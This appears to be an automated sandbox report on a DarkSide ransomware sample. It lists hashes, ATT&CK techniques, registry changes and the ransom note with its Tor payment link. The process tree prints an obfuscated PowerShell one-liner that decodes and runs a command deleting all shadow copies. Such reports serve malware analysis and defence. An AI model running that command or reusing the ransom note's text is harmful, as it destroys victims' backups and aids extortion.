darkside | 8f89ead036fde496467f1ce100b27948d5a72aa316f645dcc79d5cfc739164b6

General

Target

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Size

59KB
MD5

04fde4340cc79cd9e61340d4c1e8ddfb
SHA1

88fc623483f7ffe57f986ed10789e6723083fcd8
SHA256

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc
SHA512

105ddfb8bbfedc8460fb1e6d26c6cd02ea81bfdc12a196c1c2f8e52bc73faf03a688339b4c231ab5b5b3885f2ad248115c32c95fc64e84462a16c3e237e6fc9c
SSDEEP

768:TTjagICPhDt3bS4nyz2CuwSbV5dNcxGV1yldoZrY23W5o:BpDtG4nMpboDTV1ylVZ5

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Recovery\WindowsRE\README.f2850324.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4 When you open our website, put the following data in the input form: Key: lsJTyyTnzJlGQ1I6sfwV6oVcXaRynwN6mWphA7BKXEDIHJcDlhNNHsrxlkpggRChK2nQ7wP0sknJvl37lbqElTopkUywK3QnfJFmqDBSCmFISeWSudjgwxB4kKSp7h4VySHeu4LmDiZXTAh1dbZHWxTtZ0bA6PhCoDrbGkctY4rucITW4IdYUZJC8d2B7SFnr5EA7EoRkajrZW54brM5Kgwqsz67qzH6Hk0Vr3EDcnGzNjGQBapJczIWkgPtMCJdTkeemQ34XH7wawXu3eOGV3uJlBZNoSuaxtDHMGApS8EWsUXhafMW8WxFLAPLCo6pdm7MLcLsVDp9iBXU1sLv2KkGyUJbO0KOmom9f1JREuidviHRfsndEgMFBAjyq5v4VEIraiioAbtWM7eecYaXPVt3rolsBi8mtjxLOpFj73NPPitoIDxBNfHGzXxvRTXi06Pjx9pRnAtjIqoq5wovnHa8uBel8nq8yDJTk7NWdGdsv3yVwV2TmBin7OvFqHN9lweFNJyuziKCVGEtSaglUNudMmpFnNObGlhfh58jQsrQiQZ2d3AOFsi !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Darkside family
darkside
Renames multiple (149) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4808	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2850324.BMP"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2850324.BMP"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\Desktop\WallpaperStyle = "10"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2850324	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f2850324\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2850324.ico"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2850324	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2850324\ = "f2850324"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2850324\DefaultIcon	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4808	powershell.exe
4808	powershell.exe
4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSecurityPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeTakeOwnershipPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeLoadDriverPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSystemProfilePrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSystemtimePrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeProfSingleProcessPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeIncBasePriorityPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeCreatePagefilePrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeBackupPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeRestorePrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeShutdownPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeDebugPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSystemEnvironmentPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeRemoteShutdownPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeUndockPrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeManageVolumePrivilege	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: 33	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: 34	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: 35	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: 36	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeBackupPrivilege	5304	vssvc.exe
Token: SeRestorePrivilege	5304	vssvc.exe
Token: SeAuditPrivilege	5304	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4036 wrote to memory of 4808	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe	88
PID 4036 wrote to memory of 4808	4036	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe	88

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
"C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe"
1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4808

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials from Password Stores

2

T1555

Credentials from Web Browsers

1

T1555.003

Windows Credential Manager

1

T1555.004

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

1

T1217

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Recovery\WindowsRE\README.f2850324.TXT

Filesize
1KB

MD5
6f01b410c20010de920706c44a01d4dd

SHA1
9788131507b7164647d996dc03dfceb2818107e8

SHA256
c0b5f7c6add9a723683e5e619655ac92b412264e48854787f7f903842bec63c8

SHA512
fa832beb2b7c50b52942f5997033938e2c5adc27e78af8ee52a780c6c98145a8008053b17047d527a6d4844361676f7571521834750046d95977c41785bec421

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9932e71c424683360c189912b677a1f3

SHA1
0895176d5b630aee675ce2ec0abf90c78063975b

SHA256
500fbadc6a59f5bfa355dc38a3f467352c793872dd6324cb34ee0aa933798c0b

SHA512
9fdd79878ad74336e723ff8d84f65f2c1c0ca6dc4af6ad35f02bcd3c740ff493fe4affa766065733d30cf9d6f90b56a6934898648f9c31f3af761cb1cf9dab74

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s1e15tdg.w5s.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4808-10-0x00007FF9265F0000-0x00007FF9268B9000-memory.dmp

Filesize
2.8MB

Download
memory/4808-9-0x00007FF9265F0000-0x00007FF9268B9000-memory.dmp

Filesize
2.8MB

Download
memory/4808-20-0x000001F046920000-0x000001F046942000-memory.dmp

Filesize
136KB

Download
memory/4808-21-0x00007FF9265F0000-0x00007FF9268B9000-memory.dmp

Filesize
2.8MB

Download
memory/4808-24-0x00007FF9265F0000-0x00007FF9268B9000-memory.dmp

Filesize
2.8MB

Download

Analysis

Sharing